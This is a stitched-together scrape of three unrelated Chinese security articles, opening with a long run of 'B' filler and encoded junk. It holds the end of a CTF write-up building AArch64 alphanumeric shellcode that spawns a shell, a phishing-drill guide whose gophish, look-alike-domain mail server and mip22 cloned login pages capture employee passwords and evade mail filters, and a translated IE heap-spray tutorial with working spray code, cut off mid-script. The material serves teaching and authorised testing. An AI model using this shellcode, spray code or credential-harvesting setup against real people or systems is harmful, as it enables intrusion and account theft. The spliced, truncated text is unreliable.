BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjZ3ZjszO6
### 生成字符代码
只截取了一部分：
根据其给的`m4`代码，我们将其改为`python`代码
payload = """
l1 :
ADR X10 , l1 + 0b010011000110100101101
SUBS W10 , W10 , #0x98 , lsl #12
SUBS W10 , W10 , #0xD19
l2 :
ADR X11 , l2 + 0b010011000110001001001
SUBS W11 , W11 , #0x98 , lsl #12
ADDS W11 , W11 , #0xE53
ADDS W11 , W11 , #0xC8C
ANDS W19 , W19 , W19 , lsr #16
ANDS W19 , W19 , W19 , lsr #16
ANDS W2 , W19 , W19 , lsr #12
loop :
TBNZ W2 , #0b01011 , 0b0010011100001100
LDRB W18 , [ X10 , #76]
LDRB W25 , [ X10 , #77]
ADDS W10 , W10 , #0xC1B
SUBS W10 , W10 , #0xC19
EON W18 , W19 , W18 , lsl #20
.word 0x72304F39
EON W25 , W25 , W18 , lsr #16
STRB W25 , [ X11 , W19 , uxtw ]
ADDS W11 , W11 , #0xC1A
SUBS W11 , W11 , #0xC19
ADDS W2 , W2 , #0xC1A
SUBS W2 , W2 , #0xC19
TBZ W19 , #0b01001 , next\n"""
payload += " .word 0x42424242\n"*978
payload += "next:\n"
payload += " ANDS W26, W26, W26, lsr #12;\n"*77
payload += " TBZ W19 , #0b01001, loop;\n"
得到我们的`shellcode`
shellcode = asm(shellcraft.sh())
# getshell_elf = make_elf(shellcode)
f = open("./getshell","wb")
f.write(shellcode)
f.close()
编码
def alph_decode(file1,file2):
f1 = open(file1,"r")
shellcode = f1.read()
f1.close()
s = ""
for i in range(len(shellcode)):
tmp = ord(shellcode[i])
s += mkchr((tmp>>4)&0xF)
s += mkchr(tmp&0xF)
s = s.replace("@","P")
f2 = open(file2,"wb")
f2.write(s)
f2.close()
连接在一起
`The payload has to be be placed at the offset designated by the label pool.`
shellcode = "NNDEHLMBBNLMJMOBNNNELEOBNNFENNOBPOPMHPMBNNCOKOJINPPCPPIANAPCAOJJNBPCAOJJJHAKHPMBPAPPPPMD"
res = payload[:payload.find("BBBB")]+shellcode+payload[payload.find("BBBB")+len(shellcode):]
最后的`shellcode`一定要将其填充满，不然`qemu`+`gdb-aarch`约等于玄学。
## 总结
这道题目还是很有意思的，我猜测出题人的出题思路应该是来源于`Google
CTF`的一道`misc`题。<https://ctftime.org/writeup/29448>
这道题目如果没有这些奇奇怪怪的错误的话，难度应该算中等偏上吧，毕竟这论文不好找，全英的论文也不好看（原谅我英语太菜）。
收获最多的还是对`qemu-aarch`+`gdb`调试多了一分经验吧。
## 参考
<https://eqqie.cn/index.php/archives/1888#menu_index_8>
<https://arxiv.org/pdf/1608.03415v2.pdf>
<https://ctftime.org/writeup/29448> | 社区文章 |
> 什么时候才能成为大佬，不知何年何月得偿所望。
@[TOC](文章目录)
* * *
# 前言
`钓鱼演练伊始：`
公司要求做一次钓鱼演练，辗转后任务落我身上，两眼一抹黑，内心苟苟且且，但一想到今年七月份马上发布的RTX40系，我这等等党铁定必然绝对是要剁手，想到这儿，我这个打工人立马就打了鸡血动力十足。
* * *
`兵马未动，粮草先行--→先有个大致思路再行动`
# 一、思路与环境
> 着手去做这件事时候思路很乱，为此也是踩了不少坑，问了很多师傅（得重点谢谢志强大佬），看了一些文章，然后水了这篇文，错误就不写了，踩得坑会提示一下。
**思路** :
1. 钓鱼演练核心是gophish，此平台联动邮件服务器可以做到对邮件的统筹下发，如果邮件中包含钓鱼链接，他还能够锁定个人并跟踪监测到该员工：“是否查看邮件”，“是否点击链接”，“是否输入数据”，并且图形化得展示出来，非常直观，平台需要对外可访问，涉及beian问题，所以还需要一台外网vps。
2. 钓鱼一般分两种，水坑钓鱼（广撒网），鱼叉钓鱼（精准垂钓），不管怎么钓，常用的方式就是邮件钓鱼，涉及到发邮件，我们一般可以采用自己搭建邮件服务器，或者用在线发邮件，在线服务为了防止垃圾邮件泛滥会限制每日发送，大约一天上限30封左右，每发五封也会有一个冷却cd，有时候邮件会丢失，所以当你面对一个大群体时候请直接选择搭服务器。
3. 搭建邮件服务器时候需要准备一个近似的域名，比如百度邮箱可能是[email protected]，你就申请个paidu.com，或者biadu.com，域名申请可以用Namesilo（便宜），godaddy（贵），或可以用Freenom（免费），申请方法可以自己搜一下。
4. 国内外很多厂商都把SMTP对应的25端口毙掉了，也是为了限制垃圾邮件泛滥，我这里用一台虚拟机搭建邮件服务器，再通过frp把25映射到vps上，这样我们邮件服务器问题就解决了
**环境** ：
1. 一台国外的vps，我这边选用了Ubuntu
2. 一台新的centos虚拟机，因为ewomail邮件服务器要求搭建环境干净。
3. 工具：[gophish](https://github.com/gophish/gophish)、[ewomail邮件服务器](https://github.com/gyxuehu/EwoMail)、[frp](https://github.com/fatedier/frp)、[mip22](https://github.com/makdosx/mip22)
4. 域名一枚，用了godaddy
* * *
# 二、工具安装与调试
## 1.gophish搭建
1. 下载解压缩，解压缩到当前一个叫gophish文件夹中
wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip
unzip gophish-v0.11.0-linux-64bit.zip -d gophish
2. 给予文件777权限，cd进目录后我们可以看到config.json，这个是gophish配置文件,
chmod -R 777 gophish
cd gophish
ls
3. 解读一下配置文件，gophish会主起两个端口，一个3333是后台管理端口，我们把127.0.0.1改成0.0.0.0方便我们从公网发起访问，第二个端口为80，我这边因为还起了其他服务怕端口有冲突，所以改成了0.0.0.0:8888。大家改配置之前可以先netstat
-anp 看下端口是否冲突，否则启动时候会报错
vim config.json
4. 启动gophish，运行gophish，运行后注意运行界面会显示一个password参数，是后台登录密码，默认账号是admin，此时我们访问：<https://服务器ip:3333> / _注意是https_ /
./gophish
5. 如图，填写密码即可登录
6. 随后我们继续访问另一个页面：<https://服务器ip:80> ，注意依旧是https，如果配置文件改了端口，就按照改了的来，如下图显示即为成功。
7. 到此，我们的gophish钓鱼平台即搭建完毕，具体操作使用后续讲解
* * *
## 2.ewomail邮件服务器搭建
1. 环境按照ewomail要求选择了centos，因为记忆中本地没有centos镜像，跑到centos官方下载镜像源，看到很多国内下载节点，一开始很欣慰，但实际测试下来发现最快的清华源也就1.2m/s，一想到我这千兆网，憋屈，龟速了15分钟后，打开everything搜了下centos，！我*....
2. 很好，我们先装一下centos，导入vm启动，建议内存给2g以上，这里我推荐大家选一下GUI，顺路点上邮件服务器功能
3. 磁盘可以自行配一下，其他默认就好了，安装好后我这边遇到一个问题就是ping主机不通但是反之可以的问题，且没法访问外网，关了主机防火墙后可以ping通了，但是还是没法访问外网，我只好给他设了一个静态地址，便可以通外网了，具体操作如下：
vi /etc/sysconfig/network-scripts/ifcfg-ens33
/ _修改之前建议保留一份原始配置，具体配置文件如下_ /
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="static"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33"
UUID="1f39ba1e-e095-48dd-ab0e-81cf76f2103f"
DEVICE="ens33"
ONBOOT="yes"
IPADDR=192.168.31.213 /*静态地址*/
NETMASK=255.255.255.0
GATEWAY=192.168.31.1 /*网关，即所使用的网卡地址*/
DNS1=8.8.8.8
ZONE=public
~
4. 关闭selinux
vi /etc/sysconfig/selinux
把SELINUX=enforcing 改为 SELINUX=disabled
5. 安装伊始
yum -y install git
cd /root
git clone https://gitee.com/laowu5/EwoMail.git
chmod -R 777 EwoMail
cd /root/EwoMail/install
/
_这里安装会用到域名，作用是邮件服务器后缀，题外话，如果是内网的话，大可不必再买域名，搭建个dns服务器就可以，外网的话，不申请也行，可以做到发出去，但是没办法接收_
/
sh ./start.sh xxxx.com
6. 我这儿报错：installation failed,dovecot is installed，查明原因是因为已安装的dovecot导致冲突，解决办法比较简单直接干掉就好了：
yum -y remove dovecot.x86_64
ps:如果在执行安装时报错 ewomail-lamp install failed 解决办法：./start.sh xxx.com -f
7. 再跑一次安装程序，需要敲个 y，大概五七分钟，看了一下以太坊降没降，安装就好了，显示红框就是成功了。
8. 简单总结一下ewomail的一些服务页
访问地址（将IP更换成你的IP即可）
邮箱管理后台：http://IP:8010 （默认账号admin，密码ewomail123）
ssl端口 https://IP:7010
web邮件系统：http://IP:8000
ssl端口 https://IP:7000
域名解析完成后，可以用子域名访问，例如下面
http://mail.xxx.com:8000 (http)
https://mail.xxx.com:7000 (ssl)
web数据库管理页面：https://IP:8020/
/ _查看安装的域名和数据库密码：cat /ewomail/config.ini_ /
9. 到这一步时，安装已经完成了，还有一个事情要做，添加个解析,把下边那一条加进去，这里我认为vps上也可以加一下
vim /etc/hosts
127.0.0.1 mail.xxxx.com smtp.xxxx.com imap.xxxx.com
10. 我们访问一下后台，默认账号密码admin/ewomail123，进去先改一下密码。
11. 已经绑定好后缀域名了，我们首先添加邮箱用户，这块可以自己看着起名，[email protected]，或者[email protected]，设置好账号密码后可以去<http://IP:8000登录看看，到此我们的搭建任务就结束了，联动调试后续讲解。>
1. 有时候我们搭建好了发现需要换域名的办法，需要替换两个地方,第一个是web管理平台绑定的域名，第二个是配置文件如下图，马赛克部分便是需要改的域名：
vim /ewomail/www/ewomail-admin/core/config.php
* * *
## 3\. mip22搭建
1. 先简单介绍一下mip22这个工具，集钓鱼网页、邮件服务、隧道技术于一身，通过网页访问可以捕获不少东西，是一套完整的网页钓鱼工具，但是缺少一点图形化展示，数据结果不够直观，不适合做演练，也因为我菜（根本原因）。这里我们主要是用他的钓鱼页面，可以直接套进gophish使用。
2. 好的，话不多说我们直接上手
sudo su
cd ~
git clone https://github.com/makdosx/mip22.git
chmod -R 777 mip22
cd mip22
bash mip22.sh
3. 启动后如图，【1】Attack Default：是他的内置的钓鱼页面，九十多个，网页惟妙惟肖，可以直接用于钓鱼，而且最重要的整体格式都是<form method="post".....><....type="submit"....>...,因为gophish只有在这种样式下才能获取到钓鱼网页中的数据。
>
> /*不得不说一下我的血泪史，我一开始用gophish克隆网页，无数网站中挑了一个合适的网页克隆，然后调完内容调样式，有的还能用他的样式，有的还得自己写，调完样式换图片，最后咔咔上线，点击上传发现没数据，师从百度，一问发现是表单问题，行我改，改完发现以前的样式不能用了，还得从头再来，我
> **。
>
>
4. 我们选“1”，进去后挑一个自己中意的，不知道选中的是什么样式对吧，请看下一步
5. 哈无所谓中意，可以随便选一个，回车，这时候需要注意一下，选好克隆网页后之后，他会让你选一下是本地访问（localhost），还是对外（localhostrun），或者cf（cloudflared）还有ngrok，我们选第二个，他生成的链接是一个临时链接。 **这边需要注意下，有时候选择完没有生成链接的话，需要在你敲”2“之后，手动敲一个yes ，再回车，原因可能是有的字段没显示出来，操作如图**
6. 生成链接成功
7. 访问测试，成功抓到访问信息，IP地址，设备信息等，如果你属于提交数据的话，也会显示出来，然后会自动跳转到真的官网，数据会记录在两个txt文本中。
> 我们的搭建与调试就结束了
* * *
# 三、联动与利用
## 1.邮件服务器与gophish
1. 邮件服务器是部署在内网的，我们想让他跑起来需要映射出去，这里我们用到frp去做一个映射，需要在vps与虚拟机上都安装，代码如下：
wget https://github.com/fatedier/frp/releases/download/v0.42.0/frp_0.42.0_linux_amd64.tar.gz
tar zxvf frp_0.42.0_linux_amd64.tar.gz
2. frp分客户端和服务端，vps是服务端server，虚拟机是客户端client。双方需要配置的文件分别是frps.ini，frpc.ini，我们先配一下服务端，比较简单。
vim frp_0.42.0_linux_amd64/frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
bind_udp_port = 7001
kcp_bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_addr = 0.0.0.0
dashboard_port = 7777 /*管理页面*/
dashboard_user = admin
dashboard_pwd = !@#$QWER....
3. 启动服务端服务,调试完成后可以nohup ./frps -c frps.ini & 后台运行。
./frps -c frps.ini
4. 客户端配置， 各位在配置映射端口时候，建议netstat -anp先查一下你的vps端口使用，别冲突了，然后开始配置:
[common]
server_addr = 你的vps
server_port = 7000
[smtp]
type = tcp
local_ip = 127.0.0.1
local_port = 25
remote_port = 9999 /*大于1000的端口不冲突的都可以*/
[web1]
type = http
local_ip = 127.0.0.1
local_port = 8010
remote_port = 8010
custom_domains=mail.xxx.com:8010 /*邮件服务器，xxx.com是你的邮件服务器域名*/
[web2]
type = http
local_ip = 127.0.0.1
local_port = 8000
remote_port = 8000
custom_domains=mail.xxx.com:8000
5. 启动服务端，调试完成后可以nohup ./frpc -c frpc.ini & 后台运行.
./frpc -c frpc.ini
6.这时候我们已经可以通过vps的IP去访问邮件服务器了，可以尝试VPSIP:8000/8010，测试访问,可以直接登陆进去给自己的qq邮箱发邮件测试一下，域名做dns解析后，访问的时候便可以用域名访问。接下来我们就需要配置gophish了，配置前我先简介一下涉及到的功能模块。
1. 我们先看发送配置，一些重要的点：from中：”别名[[email protected]](mailto:[email protected])“写法是带别名的写法，X-mailer 是发送端名字，改一下可能会绕过一些拦截规则，host便是邮件服务器映射的服务器和端口，如果dns解析了也可以写smtp.xxx.com：端口。
8\.
配置完可以点左下角测试发送邮件。然后我们来配置一下文案，有一些需要注意的点 ：
{{.URL}}可以自动替换为钓鱼链接。打对勾处会自动添加一个图片，当打开邮件时候会自动加载图片用以反馈邮件状态，outlook禁止图片加载，可能会影响数据读取。需要做超链接的话，可以在其他邮件客户端设置一个包含超链接的邮件，再导入gophish，平台会自动把超链接转换为钓鱼网页，导入方法：把导出的eml文件以文本打开，复制文本到ImportEmail，之后想修改文案的话，在HTML模式下修改即可
## 2.mip22与gophish
1. mip22功能刚刚简单介绍了，我主要是用它自带的网页，减少工作量，生成网页之后复制链接到gophish这里直接克隆一下，如图
2. 克隆好之后会出现在你的html框中，然后自定义改一些格式还有css，加一些表单也都可以，我这里不演示了，我们可以通过点击source来查看修改后的页面，这两个框记得打对勾，分别是抓取数据和抓取密码，这些抓取的数据最终都会出现在数据面板中
## 3.整合利用
1. 事已至此，我们只差小白兔来上钩了，新建组，在组中添加小白兔邮箱，它自带导入模板，如果数量大，可以用导入。
2. 一切准备好，我们便可以钓鱼了，新建事件，配置一下我们的参数就启动吧，图中少写一个字，什么时候发送完。不想截图改了，手动狗头。
## 4.猎杀时刻
1. 一个字，等。gophish在发送邮件时候，会给每一个邮箱用户启一个rid，rid是唯一的，所以谁点击，谁上传，都可以追踪到，最后锁定到安全意识差的小白兔身上。
* * *
# 总结
还是有点问题没考虑好，就是发送邮件时候，没考虑拦截机制，解决办法，邮件服务器映射IP还有邮箱名多换几个，发送数量匀一下，发送速度调慢，gophish在新建事件时候配合send
email by，发快了容易被拦截。
* * *
# 声明
仅作技术交流，请勿用于非法用途。 | 社区文章 |
# 【技术分享】IE浏览器漏洞综合利用技术：堆喷射技术
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
稿费：400RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0.前言**
浏览器曾经是漏洞肆虐的重灾区，在IE6时代往往一不留神打开一个页面就会中招。甚至在web渗透圈子中也流传过“拿shell
挂网马”这样一句话。那么这种情况是什么时候得到改观的呢？我个人觉得应该与IE8的出现脱离不开关系，IE8与前几代的最大不同在于它首次支持了DEP和ASLR保护。对漏洞攻防有了解的同学应该知道ASLR早在2007年就已经发布了，而DEP更是可以追溯到xp时代，但是微软出于各种考虑并没有在IE浏览器中启用这些保护，直到IE8的发布。彼时ASLR加上DEP的强强联合曾被认为是牢不可破的马奇诺防线，这种看法在现在看来当然是很可笑的。这让我们认识到漏洞攻防是一种此消彼长的技术、是一种动态平衡，从来不存在绝对的安全。
IE浏览器攻防史上的一个重要事件应该是Pwn2Own 2010的赛场上Peter
Vreugdenhil对具有ASLR、DEP保护的IE8浏览器的攻击。在这次利用中，Peter
Vreugdenhil使用OOB漏洞结合对象的结构进行信息泄漏，这种手法的思想在现在依然在应用。
从2010年的IE8到2015年的IE11，IE浏览器的攻防技术在短短5年内发展的极为迅速也极为精彩，让我们感受到了攻防对抗的魅力。随着Edge浏览器的发布，IE的攻防对抗可能要落下帷幕了，但是攻防向前发展的脚步却不会停下，Edge其实是延续了这种对抗技术。
在这系列文章中，我们会从最初的IE6“远古时代”开始讲起，会涉及到时间长河中出现的各种利用手段。就像仙果所说，浏览器漏洞利用从最初的“暴力”、“野蛮”逐步发展到了如今的“优雅”和“科幻”。
这系列文章主要目的是做一个技术总结。内容包含比较多，从信息泄露到漏洞利用，从各种缓解措施的绕过到最新保护措施的介绍，在完成这篇文章的过程中我阅读了大量国内外的文档，深感国内的中文资料不是很多，自己也着手翻译了一些。
**1.概述**
堆喷射是一种极具历史感的技术，第一次出现是在2001年。堆喷射最初的使用目的仅仅是为了给一些漏洞利用提供一个稳定的可以存放shellcode的地址，诸如在栈溢出利用中使用堆喷射放置shellcode然后劫持返回地址进行跳转（无dep情况）。堆喷射第一次在IE浏览器上的应用出现于CVE-2004-1050的exploit中，采用的是极其经典的nops+shellcode的方式。此后结合千疮百孔的ActiveX，诸如栈溢出，漏洞利用的成本着实相当之低。
但是随着2007年ASLR出现之后，这种“老旧”的技术又焕然新生了。尤其是对于IE浏览器、Adobe
Reader等软件来说，因为它们支持内嵌执行javascript为攻击者提供了动态分配内存的途径。随着攻防技术的发展，微软以及第三方安全厂商都曾开发过一些堆喷射的缓解措施，所以对于不同的版本来说有不同的堆喷射方法，一旦一种喷射方法被厂商封堵之后，聪明的Hacker们总能想出新的途径进行喷射。
**
**
**2.基础知识**
IE浏览器下的堆喷射一般都是通过js实现的。所谓堆喷射(Heap spray)指的就是通过大量分配内存来填充进程地址空间以便于进一步利用的手段。
在调试堆喷射代码时需要注意的一点是，在调试态下堆内存的分配布局和正常情况下是可能会有差异的，所以不能直接使用调试器附加进程来调试堆喷代码。我们需要等堆喷射完成之后再去附加IE进程，才能得到准确的堆空间布局。同时因为堆的分布不均衡（存在碎片），所以最先分配的一些堆块的地址可能是无规律的，但是如果大量的分配堆块的话，那么就会出现稳定的地址分布。
**
**
**3.如何调试堆喷射**
关于调试器的选择，我个人认为应该使用Windbg，虽然也可以使用Immunity
Debugger或是OllyDbg，但是个人觉得调试微软的程序还是Windbg更好用也更稳定一些。
Windbg有一些非常强大的调试命令，这里介绍一些调试漏洞时很有用的命令，这些命令可能暂时用不到但在后面的文章中用到，这里一并给出。
首先是gflags.exe，gflags.exe其实是Windbg自带的一个可执行文件，用于启用一些微软提供的一些调试支持，gflags的原理其实非常简单因为这些调试支持的设置实际上是在注册表中的，我们手动修改注册表的效果其实也是一样的。对于IE漏洞调试来说最有用的调试选项就是UST和HPA。其中，UST是堆分配记录，只要开启了这个选项每一块堆的分配都会记录在进程中，之后如果想要知道一个堆是在哪里分配的只要使用一条命令!heap
-p
-a即可。HPA是调试堆，只要启用了HPA选项，堆的结构会发生变化，增加额外的检查字段，并且堆的附近内存页变的不再可读可写，这样一旦发生了堆溢出、越界访问或是UAF就可以在第一时间发现并抛出异常。至于更多的选项，我推荐阅读张银奎老师的《软件调试》或者我的博客里简单的记录了一些<http://www.cnblogs.com/Ox9A82/p/5603172.html>
。
!heap也有一些很好用的命令
!heap -stat 显示进程中所有堆的信息，通过这个命令可以找到堆喷分配内存块所属的堆
!heap -a HEAP_HANDLE 显示指定句柄的堆的情况
!heap -stat -h HEAP_HANDLE 可以看到堆中块的分布情况
!heap -flt s size 显示所有指定大小的块
!heap -p -a 堆分配记录
ln 列出附近的符号，这条命令在调试IE漏洞时相当有用，我们后面就可以看到
sxe ld:module_name 当模块加载时断下
ba address 多功能断点，大家可能比较熟悉bp断点，ba相比bp可以自由指定断下的访问操作
bu address 对符号下断，这条命令在调试IE漏洞时相当有用，断下的位置是根据符号确定的
x name 搜索符号，可以用于查找模块中的函数名，非常有用
关于如何调试POC
由于我们是处于浏览器中的缘故，我们并不能够做到直接调试javascript脚本。为此Hacker们想出一些很巧妙的解决方案，其中最常用的就是使用Javascript中的数学函数辅助下断，诸如Math.cos()、Math.sin()、Math.tan()、Math.asin()、Math.acos()、Math.atan()等函数。这些函数的优点是直接对应于jscript!cos、jscript!sin、jscript!tan、jscript!asin、jscript!acos、jscript!atan等调试符号。我们可以在POC中插入这些数学函数，来实现对POC进行调试。
此外如果你对mshtml的一些基本结构诸如CTreeNode、CTreePos有所了解的话，那么调试的效率会更高。
这里我初步的介绍了一些调试浏览器漏洞的小技巧，如果你完全没有接触过漏洞的调试，那么我推荐你看一下泉哥的《漏洞战争:软件漏洞分析精要》。
**
**
**4.堆喷射需要考虑什么**
在介绍实际的喷射手法之前我们先想一想，堆喷射要考虑哪些问题？
最容易想到的就是应该用什么来填充。
其次会想到，多大的填充尺寸可以达到目标地址。
再次是每个基本单位应该要多大，才能够准确又稳定的填充。
接下来我们会看到这些实际的喷射手法就是对这些问题的解决。
**
**
**5.XP+IE6环境下的堆喷射**
IE6浏览器的堆喷射是使用Javascript String对象进行的。
IE6下的堆喷射是最原始的一种，因为IE6那个时期是没有任何漏洞缓解措施的，所以只需要考虑如何分配内存即可。
从代码执行的角度来看，IE6时期我们的利用主要分为两类。第一类是ActiveX类的漏洞，而且以栈溢出为常见。第二类是IE6本身的UAF漏洞。第一类漏洞只需要一个大致的地址+合适的nop跳板就可以实现最终的利用。至于第二类通常会使用一个固定的跳板地址，诸如著名的0x0C0C0C0C，关于它的原理我们之后再讲，这里我们也可以认为它只需要一个大致的地址就可以。
但是由于IE6中javascript的实现，使得字符串赋值给一个变量时并不会开辟新的内存空间（类似于C中的指针取地址），只有当字符串发生连接操作时（substr或是+），才会为字符串开辟新的内存空间。
for (i = 0 ; i < 1000 ; i++)
heap_chunks[i] = chunk+junk;
下面给出了堆喷的测试代码，其中每一个块的大小是0x80000(每个字符两个字节)，为什么要取0x80000的大小呢？这是我们在前面提出的问题，其实取别的大小我认为也是可以的，单个块的大小和分配的块数是一种综合的考量，主要是要考虑到内存块分配的速度和内存布局的稳定性。至于为什么这个数是0x40000我也不知道，只能说是前辈们在不断尝试中获得的经验，下面是一个堆喷射的示例代码：
<html>
<SCRIPT language="JavaScript">
var sc = unescape("%ucccc%ucccc");
var nop = unescape("%u0c0c%u0c0c");
while (nop.length < 0x40000)
nop += nop;
nop = nop.substring(0,0x40000-0x20-sc.length);
heap_chunks = new Array();
for (i = 0 ; i < 500 ; i++)
heap_chunks[i] = nop+sc;
</SCRIPT>
</html>
你是否注意到了“0x40000-0x20-sc.length”？
因为js中字符串对象不是简单的Unicode。它是一种复合的字符串结构，称为BSTR，这一数据类型包含有数据长度域、数据域和一个终止符。
4个字节的size域描述字符串的字节数，但是不包含结束符
n个字节的string主体（Unicode格式）
2个字节的x00x00结束符
值得注意的是BSTR并不是javascript定义的，恰恰相反BSTR是微软官方定义的，可以直接在MSDN中查到（https://msdn.microsoft.com/en-us/library/windows/desktop/ms221069(v=vs.85).aspx）
并且可能是通过oleaut32.dll进行分配的
（<https://msdn.microsoft.com/en-us/library/ms923851.aspx> ）
参加MSDN的示例：
BSTR MyBstr = SysAllocString(L"I am a happy BSTR");
我们试图把内存喷射到0x0C0C0C0C，经过简单的计算可知0x0C0C0C0C约为202116108个字节。
500*0x80000约为262144000个字节，262144000大于202116108个字节，因此我们的喷射一定可以到达0x0C0C0C0C。
根据这种算法我们可以得出
0x0A0A0A0A（160M） 0x0C0C0C0C（192M） 0x0D0D0D0D（208M）
任务管理器中内存曲线突出的部分就是堆喷导致的
**
**
**6.Win7+IE8环境下的堆喷射**
IE8相比IE6来说并没有在堆喷射方面做任何的限制，因此我们可以同样通过Javascript String对象进行喷射。
但是在代码执行的角度来看，IE8浏览器支持了ASLR和DEP这两个重要的漏洞环境措施，因此我们堆喷射策略也要进行调整。这一时期的堆喷射关键字是精准，要求能够准确预测到喷射的位置，甚至一个字节都不可以差。至于必须这样的原因，我会在利用部分讲，这里只需要知道此时要求精准喷射。
此外还有一点是IE8下需要把以前的连接语句换成substring()才能实现内存分配，这个没什么好说的。
<html>
<SCRIPT language="JavaScript">
var sc = unescape("%ucccc%ucccc");
var nop = unescape("%u0c0c%u0c0c");
while (nop.length < 0x100000)
nop += nop;
nop = nop.substring(0,(0x80000-6)/2);
code = nop;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
heap_chunks[i] = code.substring(0, code.length);
</SCRIPT>
</html>
这一种技术很有可能是Pwn2Own 2010的获胜者Peter Vreugdenhil发明的
(参见<http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf>
)
Peter
Vreugdenhil发现当堆块进行大量分配的时候，地址分配的熵处于高位并且是对齐的。就是说堆地址的低位不会发生变化，仅有几个高字节是改变的，为此Peter
Vreugdenhil给出了一个例子
Heap alloc size(0x7ffc0) allocated at 063d0020
Heap alloc size(0x7ffc0) allocated at 06450020
Heap alloc size(0x7ffc0) allocated at 064d0020
Heap alloc size(0x7ffc0) allocated at 06550020
Heap alloc size(0x7ffc0) allocated at 065d0020
Heap alloc size(0x7ffc0) allocated at 06650020
Heap alloc size(0x7ffc0) allocated at 066d0020
利用这一点，如果我控制我分配的堆块大小为0x10000。因为低位不变，那么无论如何我们都可以成功的指向我们想要的地址。举个例子，假如我们在第一次运行中，0x0c0c0c0c属于开始地址在0x0c0c0018的堆块、第二次，0x0c0c0c属于开始地址在0x0c080018的块、第三次处于0x0c030018。因为块是对齐的，只要块的大小可以控制为0x10000的基数就可以，比如0×1000、比如0x5000、比如0x10000。这样一来，我们就可以控制0x0c0c0c0c处的内容始终指向rop链第一条语句了。
我在这里使用后面提到的shellcode.substring(0, (0x80000-6)/2);进行分配，分配结果如下图
接下来我们只需要计算目的地址与rop首语句之间的差值即可把eip准确的指向rop链了。
**
**
**7.IE9环境下的堆喷射**
历史的轮盘转到了IE9的时代，微软为了阻止攻击者进行堆喷射在IE9中增加了Nozzle缓解机制，Nozzle缓解机制会检测到堆喷中分配的相同占位块从而导致堆喷失败。但是由于Nozzle的判断机制非常简单，因此只要堆喷的每个堆块有略微的不同比如加入随机数，甚至只需要改变一个字节就可以绕过Nozzle缓解机制的检测，成功实现堆喷。
其实，这里还有一个隐含的意思不知道你有没有意识到，那就是对于具有DEP环境下的堆喷射来说，除了我们布置的payload本身之外其它的部分已经没有什么意义了。我们既不需要它们作为跳板，也不指望它们可以实现什么，因为这部分的内容完全就是随意的，我们可以生成一些随机数或其它的随机内容填充这一部分来使得每个块内容都不同。如果你没能理解这句话意思，那么没关系我们会在后面利用部分详述。
这里展示了如何把IE8下的堆喷代码修改成IE9适用的以绕过Nozzle。
<html>
<SCRIPT language="JavaScript">
var sc = unescape("%ucccc%ucccc");
